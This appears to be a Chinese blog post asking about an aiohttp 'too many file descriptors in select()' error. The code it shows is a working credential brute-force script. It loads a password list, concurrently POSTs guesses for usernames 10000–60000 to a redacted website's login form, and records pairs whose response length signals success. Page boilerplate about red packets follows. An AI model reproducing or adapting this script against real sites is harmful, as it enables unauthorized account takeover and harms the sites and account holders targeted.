python返回错误提示_python的aiohttp错误提示

用aiohttp和asyncio构建的网络爬虫如果url太多,出现错误提示:ValueError: too many file descriptors in select()

import aiohttp

import asyncio

import time

timeclock=time.clock()

pwd_all=[]

with open("pwd.txt","r+",encoding='utf-8') as fob:

for b in fob.readlines():

pwd_all.append(b.strip())

oklist=[]

async def hello(name):

async with aiohttp.ClientSession() as session:

for pwd in pwd_all:

payload={'name':name,'password':pwd}

async with session.post('http://www.xxxxxxx.com',data=payload) as resp:

backdata=await resp.text()

if len(backdata)==376:

oklist.append("{}:{}".format(name,pwd))

break

loop = asyncio.get_event_loop()

tasks = [hello(str(uname)) for uname in range(10000,60000)]

loop.run_until_complete(asyncio.wait(tasks))

loop.close()

print(oklist)

print("time is:"+str(time.clock()-timeclock))

787d83d9609553cebfe083d0a79b07b7.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值